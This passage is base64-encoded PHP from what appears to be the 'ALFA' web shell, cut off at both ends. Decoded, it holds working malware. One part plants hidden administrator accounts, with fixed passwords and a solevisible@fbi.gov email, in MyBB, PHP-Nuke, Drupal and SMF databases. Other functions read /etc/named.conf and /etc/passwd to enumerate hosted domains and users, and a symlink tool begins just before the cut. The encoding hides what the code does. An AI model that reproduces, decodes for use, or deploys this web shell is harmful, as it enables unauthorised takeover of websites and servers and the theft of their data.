BvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byB0YmxhZG1pbnMgKGlkLHJvbGVpZCx1c2VybmFtZSxwYXNzd29yZCxlbWFpbCx0ZW1wbGF0ZSxob21ld2lkZ2V0cykgdmFsdWVzKG51bGwsJzEnLCciLiRhZG1pbi4iJywnZDRhNTkwY2FhY2MwYmU1NWVmMjg2ZTQwYTk0NWVhNDUnLCciLiRTUUwuIicsJ2JsZW5kJywnZ2V0dGluZ19zdGFydGVkOnRydWUsb3JkZXJzX292ZXJ2aWV3OnRydWUsc3VwcG9ydHRpY2tldHNfb3ZlcnZpZXc6dHJ1ZSxteV9ub3Rlczp0cnVlLGNsaWVudF9hY3Rpdml0eTp0cnVlLG9wZW5faW52b2ljZXM6dHJ1ZSxhY3Rpdml0eV9sb2c6dHJ1ZXxpbmNvbWVfb3ZlcnZpZXc6dHJ1ZSxzeXN0ZW1fb3ZlcnZpZXc6dHJ1ZSx3aG1jc19uZXdzOnRydWUsc3lzaW5mbzp0cnVlLGFkbWluX2FjdGl2aXR5OnRydWUsdG9kb19saXN0OnRydWUsbmV0d29ya19zdGF0dXM6dHJ1ZSxpbmNvbWVfZm9yZWNhc3Q6dHJ1ZXwnKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKaWYoJHNvbGV2aXNpYmxlKXsKX19hbGVydCgnU3VjY2Vzcy4uLiAnLiRhZG1pbi4nIGlzIGNyZWF0ZWQuLi4nKTt9Cn0KfQppZihpc3NldCgkX1BPU1RbJ2FsZmE3J10pICYmICRfUE9TVFsnYWxmYTcnXSA9PSAnbXliYicpewoKZWNobyBfX3ByZSgpLic8Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IE15YmIgfDwvZGl2PjxwPjxwPicuZ2V0Q29uZmlnSHRtbCgnbXliYicpLic8L3A+PGZvcm0gb25zdWJtaXQ9ImcoXCdwd2NoYW5nZXJcJyxudWxsLFwnPj5cJyx0aGlzLmxvY2FsaG9zdC52YWx1ZSx0aGlzLmRhdGFiYXNlLnZhbHVlLHRoaXMudXNlcm5hbWUudmFsdWUsdGhpcy5wYXNzd29yZC52YWx1ZSxudWxsLFwnbXliYlwnLHRoaXMuYWRtaW4udmFsdWUsdGhpcy5lbWFpbC52YWx1ZSx0aGlzLnByZWZpeC52YWx1ZSk7IHJldHVybiBmYWxzZTsiIG1ldGhvZD0iUE9TVCI+JzsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdNeXNxbCBIb3N0JywgJ2lkJz0+J2RiX2hvc3QnLCdpbnB1dE5hbWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBOYW1lJywgJ2lkJz0+J2RiX25hbWUnLCdpbnB1dE5hbWUnID0+ICdkYXRhYmFzZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQzJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFVzZXInLCAnaWQnPT4nZGJfdXNlcicsJ2lucHV0TmFtZScgPT4gJ3VzZXJuYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpZCc9PidkYl9wdycsJ2lucHV0TmFtZScgPT4gJ3Bhc3N3b3JkJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDUnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnVGFibGUgUHJlZml4JywgJ2lkJz0+J2RiX3ByZWZpeCcsJ2lucHV0TmFtZScgPT4gJ3ByZWZpeCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ2JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFVzZXInLCAnaW5wdXROYW1lJyA9PiAnYWRtaW4nLCAnaW5wdXRWYWx1ZScgPT4gJ2FkbWluJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ3JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAndG9mdG9mJywgJ2lucHV0VmFsdWUnID0+ICdzb2xldmlzaWJsZScsICdpbnB1dFNpemUnID0+ICc1MCcsICdkaXNhYmxlZCcgPT4gdHJ1ZSksCiAndGQ4JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIEVtYWlsJywgJ2lucHV0TmFtZScgPT4gJ2VtYWlsJywgJ2lucHV0VmFsdWUnID0+ICdzb2xldmlzaWJsZUBmYmkuZ292JywgJ2lucHV0U2l6ZScgPT4gJzUwJykKKTsKY3JlYXRlX3RhYmxlKCR0YWJsZSk7CmVjaG8gJzxwPjxpbnB1dCB2YWx1ZT0iICIgbmFtZT0ic2VuZCIgdHlwZT0ic3VibWl0Ij48L3A+PC9mb3JtPjwvY2VudGVyPic7CmlmICgkX1BPU1RbJ2FsZmExJ10gJiYgJF9QT1NUWydhbGZhMSddID09ICc+PicpewokbG9jYWxob3N0ID0gJF9QT1NUWydhbGZhMiddOwokZGF0YWJhc2UgPSAkX1BPU1RbJ2FsZmEzJ107CiR1c2VybmFtZSA9ICRfUE9TVFsnYWxmYTQnXTsKJHBhc3N3b3JkID0gJF9QT1NUWydhbGZhNSddOwokYWRtaW4gPSAkX1BPU1RbJ2FsZmE4J107CiRTUUwgPSAkX1BPU1RbJ2FsZmE5J107CiRwcmVmaXggPSAkX1BPU1RbJ2FsZmExMCddOwokY29ubj1AbXlzcWxpX2Nvbm5lY3QoJGxvY2FsaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3JkLCRkYXRhYmFzZSkgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwiaW5zZXJ0IGludG8gIi4kcHJlZml4LiJ1c2VycyAodWlkLHVzZXJuYW1lLHBhc3N3b3JkLHNhbHQsZW1haWwsdXNlcmdyb3VwKSB2YWx1ZXMobnVsbCwnIi4kYWRtaW4uIicsJ2U3MWYyYzMyNjU2MTkwMzhkODI2YTFhYzZlMmI5YjhlJywneXd6YTY4bFMnLCciLiRTUUwuIicsJzQnKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKaWYoJHNvbGV2aXNpYmxlKXsKX19hbGVydCgnU3VjY2Vzcy4uLiAnLiRhZG1pbi4nIGlzIGNyZWF0ZWQuLi4nKTt9Cn0KfQppZihpc3NldCgkX1BPU1RbJ2FsZmE4J10pICYmICRfUE9TVFsnYWxmYTgnXSA9PSAnbnVrZScpewoKZWNobyBfX3ByZSgpLic8Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IFBocE51a2UgfDwvZGl2PjxwPjxwPicuZ2V0Q29uZmlnSHRtbCgncGhwbnVrZScpLic8L3A+PGZvcm0gb25zdWJtaXQ9ImcoXCdwd2NoYW5nZXJcJyxudWxsLFwnPj5cJyx0aGlzLmxvY2FsaG9zdC52YWx1ZSx0aGlzLmRhdGFiYXNlLnZhbHVlLHRoaXMudXNlcm5hbWUudmFsdWUsdGhpcy5wYXNzd29yZC52YWx1ZSxudWxsLHRoaXMuYWRtaW4udmFsdWUsXCdudWtlXCcsdGhpcy5lbWFpbC52YWx1ZSx0aGlzLnByZWZpeC52YWx1ZSk7IHJldHVybiBmYWxzZTsiIG1ldGhvZD0iUE9TVCI+JzsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdNeXNxbCBIb3N0JywgJ2lkJz0+J2RiX2hvc3QnLCdpbnB1dE5hbWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBOYW1lJywgJ2lkJz0+J2RiX25hbWUnLCdpbnB1dE5hbWUnID0+ICdkYXRhYmFzZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQzJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFVzZXInLCAnaWQnPT4nZGJfdXNlcicsJ2lucHV0TmFtZScgPT4gJ3VzZXJuYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpZCc9PidkYl9wdycsJ2lucHV0TmFtZScgPT4gJ3Bhc3N3b3JkJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDUnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnVGFibGUgUHJlZml4JywgJ2lkJz0+J2RiX3ByZWZpeCcsJ2lucHV0TmFtZScgPT4gJ3ByZWZpeCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ2JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFVzZXInLCAnaW5wdXROYW1lJyA9PiAnYWRtaW4nLCAnaW5wdXRWYWx1ZScgPT4gJ2FkbWluJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ3JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAndG9mdG9mJywgJ2lucHV0VmFsdWUnID0+ICdzb2xldmlzaWJsZScsICdpbnB1dFNpemUnID0+ICc1MCcsICdkaXNhYmxlZCcgPT4gdHJ1ZSksCiAndGQ4JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIEVtYWlsJywgJ2lucHV0TmFtZScgPT4gJ2VtYWlsJywgJ2lucHV0VmFsdWUnID0+ICdzb2xldmlzaWJsZUBmYmkuZ292JywgJ2lucHV0U2l6ZScgPT4gJzUwJykKKTsKY3JlYXRlX3RhYmxlKCR0YWJsZSk7CmVjaG8gJzxwPjxpbnB1dCB2YWx1ZT0iICIgbmFtZT0ic2VuZCIgdHlwZT0ic3VibWl0Ij48L3A+PC9mb3JtPjwvY2VudGVyPic7CmlmICgkX1BPU1RbJ2FsZmExJ10gJiYgJF9QT1NUWydhbGZhMSddID09ICc+PicpewokbG9jYWxob3N0ID0gJF9QT1NUWydhbGZhMiddOwokZGF0YWJhc2UgPSAkX1BPU1RbJ2FsZmEzJ107CiR1c2VybmFtZSA9ICRfUE9TVFsnYWxmYTQnXTsKJHBhc3N3b3JkID0gJF9QT1NUWydhbGZhNSddOwokYWRtaW4gPSAkX1BPU1RbJ2FsZmE3J107CiRTUUwgPSAkX1BPU1RbJ2FsZmE5J107CiRwcmVmaXggPSAkX1BPU1RbJ2FsZmExMCddOwokY29ubj1AbXlzcWxpX2Nvbm5lY3QoJGxvY2FsaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3JkLCRkYXRhYmFzZSkgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokaGFzaCA9IG1kNSgkcHdkKTsKJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sImluc2VydCBpbnRvICIuJHByZWZpeC4iX2F1dGhvcnMoYWlkLG5hbWUsZW1haWwscHdkKSB2YWx1ZXMoJyRhZG1pbicsJ0dvZCcsJyRTUUwnLCdkNGE1OTBjYWFjYzBiZTU1ZWYyODZlNDBhOTQ1ZWE0NScpIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwppZigkc29sZXZpc2libGUpewpfX2FsZXJ0KCdTdWNjZXNzLi4uICcuJGFkbWluLicgaXMgY3JlYXRlZC4uLicpO30KfQp9CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTknXSkgJiYgJF9QT1NUWydhbGZhOSddID09ICdkcnVwYWwnKXsKCmVjaG8gX19wcmUoKS4nPGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBEcnVwYWwgfDwvZGl2PjxwPjxwPicuZ2V0Q29uZmlnSHRtbCgnZHJ1cGFsJykuJzwvcD48Zm9ybSBvblN1Ym1pdD0iZyhcJ3B3Y2hhbmdlclwnLG51bGwsXCc+PlwnLHRoaXMubG9jYWxob3N0LnZhbHVlLG51bGwsdGhpcy5kYXRhYmFzZS52YWx1ZSx0aGlzLnVzZXJuYW1lLnZhbHVlLHRoaXMucGFzc3dvcmQudmFsdWUsbnVsbCx0aGlzLmFkbWluLnZhbHVlLFwnZHJ1cGFsXCcpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpZCc9PidkYl9ob3N0JywnaW5wdXROYW1lJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dE5hbWUnID0+ICdwYXNzd29yZCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ2JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFVzZXInLCAnaW5wdXROYW1lJyA9PiAnYWRtaW4nLCAnaW5wdXRWYWx1ZScgPT4gJ2FkbWluJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ3JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAndG9mdG9mJywgJ2lucHV0VmFsdWUnID0+ICdzb2xldmlzaWJsZScsICdpbnB1dFNpemUnID0+ICc1MCcsICdkaXNhYmxlZCcgPT4gdHJ1ZSkKICk7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICc8cD48aW5wdXQgdmFsdWU9IiAiIG5hbWU9InNlbmQiIHR5cGU9InN1Ym1pdCI+PC9wPjwvZm9ybT48L2NlbnRlcj4nOwppZiAoJF9QT1NUWydhbGZhMSddICYmICRfUE9TVFsnYWxmYTEnXSA9PSAnPj4nKXsKJGxvY2FsaG9zdCA9ICRfUE9TVFsnYWxmYTInXTsKJGRhdGFiYXNlID0gJF9QT1NUWydhbGZhNCddOwokdXNlcm5hbWUgPSAkX1BPU1RbJ2FsZmE1J107CiRwYXNzd29yZCA9ICRfUE9TVFsnYWxmYTYnXTsKJGFkbWluID0gJF9QT1NUWydhbGZhOCddOwokY29ubj1AbXlzcWxpX2Nvbm5lY3QoJGxvY2FsaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3JkLCRkYXRhYmFzZSkgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokZ2V0RGVzY3VpZCA9IEBteXNxbGlfcXVlcnkoJGNvbm4sInNlbGVjdCB1aWQgZnJvbSB1c2VycyBvcmRlciBieSB1aWQgZGVzYyBsaW1pdCAwLDEiKTsKJGdldERlc2N1aWQgPSBAbXlzcWxpX2ZldGNoX2Fzc29jKCRnZXREZXNjdWlkKTsKJGdldERlc2N1aWQgPSAkZ2V0RGVzY3VpZFsndWlkJ107CiRnZXRkZXNjdWlkID0gJGdldERlc2N1aWQrKzsKJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sImluc2VydCBpbnRvIHVzZXJzICh1aWQsbmFtZSxwYXNzLG1haWwsc2lnbmF0dXJlX2Zvcm1hdCxzdGF0dXMsdGltZXpvbmUsaW5pdCkgdmFsdWVzKCckZ2V0RGVzY3VpZCcsJyRhZG1pbicsJ1wkU1wkRFAyeTlBYm9sQ0JPZFwvV3lRY3B6dTR6RjU3cUUwbm95Q05lWFpXdi4zN1I2NlZzRmpPaUMnLCdzb2xldmlzaWJsZUBmYmkuZ292JywnZmlsdGVyZWRfaHRtbCcsJzEnLCdFdXJvcGUvQmVybGluJywnc29sZXZpc2libGVAZmJpLmdvdicpIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwic2VsZWN0IHVpZCBmcm9tIHVzZXJzIHdoZXJlIG5hbWU9JyIuJGFkbWluLiInIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokc29sZSA9IG15c3FsaV9udW1fcm93cygkc29sZXZpc2libGUpOwppZiAoJHNvbGUgPT0gMSl7JHNvbGV2aXMgPSBteXNxbGlfZmV0Y2hfYXNzb2MoJHNvbGV2aXNpYmxlKTsKJHJlcyA9ICRzb2xldmlzWyd1aWQnXTsKfQokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwiSU5TRVJUIElOVE8gdXNlcnNfcm9sZXMgKHVpZCxyaWQpIFZBTFVFUyAoJyIuJHJlcy4iJywgJzMnKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKaWYoJHNvbGV2aXNpYmxlKXsKX19hbGVydCgnU3VjY2Vzcy4uLiAnLiRhZG1pbi4nIGlzIGNyZWF0ZWQuLi4nKTt9Cn0KfQoKaWYoaXNzZXQoJF9QT1NUWydhbGZhMTAnXSkgJiYgJF9QT1NUWydhbGZhMTAnXSA9PSAnc21mJyl7CgplY2hvIF9fcHJlKCkuJzxjZW50ZXI+PGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBTTUYgfDwvZGl2PjxwPjxwPicuZ2V0Q29uZmlnSHRtbCgnc21mJykuJzwvcD48Zm9ybSBvblN1Ym1pdD0iZyhcJ3B3Y2hhbmdlclwnLG51bGwsXCc+PlwnLHRoaXMubG9jYWxob3N0LnZhbHVlLHRoaXMuZGF0YWJhc2UudmFsdWUsbnVsbCx0aGlzLnVzZXJuYW1lLnZhbHVlLHRoaXMucGFzc3dvcmQudmFsdWUsdGhpcy5wcmVmaXgudmFsdWUsdGhpcy5hZG1pbi52YWx1ZSxudWxsLFwnc21mXCcpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpZCc9PidkYl9ob3N0JywnaW5wdXROYW1lJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dE5hbWUnID0+ICdwYXNzd29yZCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1RhYmxlIFByZWZpeCcsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJ3NtZl8nLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDYnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gVXNlcicsICdpbnB1dE5hbWUnID0+ICdhZG1pbicsICdpbnB1dFZhbHVlJyA9PiAnYWRtaW4nLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDcnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gUGFzcycsICdpbnB1dE5hbWUnID0+ICdoaScsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGUnLCAnaW5wdXRTaXplJyA9PiAnNTAnLCAnZGlzYWJsZWQnID0+IHRydWUpLAogKTsKY3JlYXRlX3RhYmxlKCR0YWJsZSk7CmVjaG8gJzxwPjxpbnB1dCB2YWx1ZT0iICIgbmFtZT0ic2VuZCIgdHlwZT0ic3VibWl0Ij48L3A+PC9mb3JtPjwvY2VudGVyPic7CmlmICgkX1BPU1RbJ2FsZmExJ10gJiYgJF9QT1NUWydhbGZhMSddID09ICc+PicpewokbG9jYWxob3N0ID0gJF9QT1NUWydhbGZhMiddOwokZGF0YWJhc2UgPSAkX1BPU1RbJ2FsZmEzJ107CiR1c2VybmFtZSA9ICRfUE9TVFsnYWxmYTUnXTsKJHBhc3N3b3JkID0gJF9QT1NUWydhbGZhNiddOwokcHJlZml4ID0gJF9QT1NUWydhbGZhNyddOwokYWRtaW4gPSAkX1BPU1RbJ2FsZmE4J107CiRjb25uPUBteXNxbGlfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRhdGFiYXNlKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRzZXRwd0FsZyA9IHNoYTEoc3RydG9sb3dlcigkYWRtaW4pIC4gJ3NvbGV2aXNpYmxlJyk7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byB7JHByZWZpeH1tZW1iZXJzIChpZF9tZW1iZXIsbWVtYmVyX25hbWUsaWRfZ3JvdXAscmVhbF9uYW1lLHBhc3N3ZCxlbWFpbF9hZGRyZXNzKSB2YWx1ZXMobnVsbCwnJGFkbWluJywnMScsJyRhZG1pbicsJyRzZXRwd0FsZycsJ3NvbGV2aXNpYmxlQGZiaS5nb3YnKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKaWYoJHNvbGV2aXNpYmxlKXsKX19hbGVydCgnU3VjY2Vzcy4uLiAnLiRhZG1pbi4nIGlzIGNyZWF0ZWQuLi4nKTt9Cn0KfQplY2hvICI8L2Rpdj4iOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWxmYU1ha2VQd2QoKXsKaWYoX2FsZmFfZmlsZV9leGlzdHMoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnMiKXx8KF9hbGZhX2ZpbGVfZXhpc3RzKCIvZXRjL25hbWVkLmNvbmYiKSYmX2FsZmFfZmlsZV9leGlzdHMoIi9ldGMvdmFsaWFzZXMiKSkpewpyZXR1cm4gIi9ob21lL3t1c2VyfS9wdWJsaWNfaHRtbC8iOwp9CiRkb2N1bWVudCA9IGV4cGxvZGUoIi8iLCAkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKTsKJHB1YmxpYyA9IGVuZCgkZG9jdW1lbnQpOwphcnJheV9wb3AoJGRvY3VtZW50KTsKYXJyYXlfcG9wKCRkb2N1bWVudCk7CiRwYXRoID0gaW1wbG9kZSgiLyIsICRkb2N1bWVudCkgLiAiL3t1c2VyfS8iIC4gJHB1YmxpYzsKcmV0dXJuICRwYXRoOwp9CmZ1bmN0aW9uIGFsZmFHZXREb21haW5zKCRzdGF0ZSA9IGZhbHNlKXsKJHN0YXRlID0gIm5hbWVkLmNvbmYiOwokbGluZXMgPSBhcnJheSgpOwokbGluZXMgPSBfYWxmYV9maWxlKCcvZXRjL25hbWVkLmNvbmYnKTsKaWYoISRsaW5lcyl7CiRsaW5lcyA9IEBzY2FuZGlyKCIvZXRjL3ZhbGlhc2VzLyIpOwokc3RhdGUgPSAidmFsaWFzZXMiOwppZighJGxpbmVzKXsKJGxpbmVzID0gQHNjYW5kaXIoIi92YXIvbmFtZWQiKTsKJHN0YXRlID0gIm5hbWVkIjsKaWYoISRsaW5lcyAmJiAkc3RhdGUpewokbGluZXMgPSBfYWxmYV9maWxlKCcvZXRjL3Bhc3N3ZCcpOwokc3RhdGUgPSAicGFzc3dkIjsKfQp9Cn0KcmV0dXJuIGFycmF5KCJsaW5lcyIgPT4gJGxpbmVzLCAic3RhdGUiID0+ICRzdGF0ZSk7Cn0KZnVuY3Rpb24gYWxmYUNyZWF0ZVBhcmVudEZvbGRlcigpewokcGFyZW50ID0gJEdMT0JBTFNbJ2hvbWVfY3dkJ10gLiAiLyIgLiBfX0FMRkFfREFUQV9GT0xERVJfXzsKaWYoIUBpc19kaXIoJHBhcmVudCkpewpAbWtkaXIoJHBhcmVudCwgMDc1NSwgdHJ1ZSk7Cn0KfQpmdW5jdGlvbiBhbGZhc3ltbGluaygpewphbGZhaGVhZCgpOwpBbGZhTnVtKDksMTApOwphbGZhQ3JlYXRlUGFyZW50Rm9sZGVyKCk7CkBjaGRpcigkR0xPQkFMU1snaG9tZV9jd2QnXSAuICIvIiAuIF9fQUxGQV9EQVRBX0ZPTERFUl9fKTsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGJyPjxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgU3ltbGluayB8PC9kaXY+PGNlbnRlcj48aDM+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3N5bWxpbmtcJyxudWxsLG51bGwsXCdzeW1waHBcJykiPnwgU3ltbGluayggcGhwICkgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3N5bWxpbmtcJyxudWxsLG51bGwsXCdzeW1wZXJsXCcpIj58IFN5bWxpbmsoIHBlcmwgKSB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc3ltbGlua1wnLG51bGwsbnVsbCxcJ3N5bXB5XCcpIj58IFN5bWxpbmsoIHB5dGhvbiApIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzeW1saW5rXCcsbnVsbCxudWxsLG51bGwsbnVsbCxcJ1N5bUZpbGVcJykiPnwgRmlsZSBTeW1saW5rIHwgPC9hPjwvaDM+PC9jZW50ZXI+JzsKaWYoaXNzZXQoJF9QT1NUWydhbGZhMiddKSYmKCRfUE9TVFsnYWxmYTInXT09J3N5bXBlcmwnfHwkX1BPU1RbImFsZmEyIl09PSJzeW1weSIpKXsKJHN5bXBhdGggPSBhbGZhTWFrZVB3ZCgpOwpAbWtkaXIoJ2NnaWFsZmEnLDA3NTUpOwp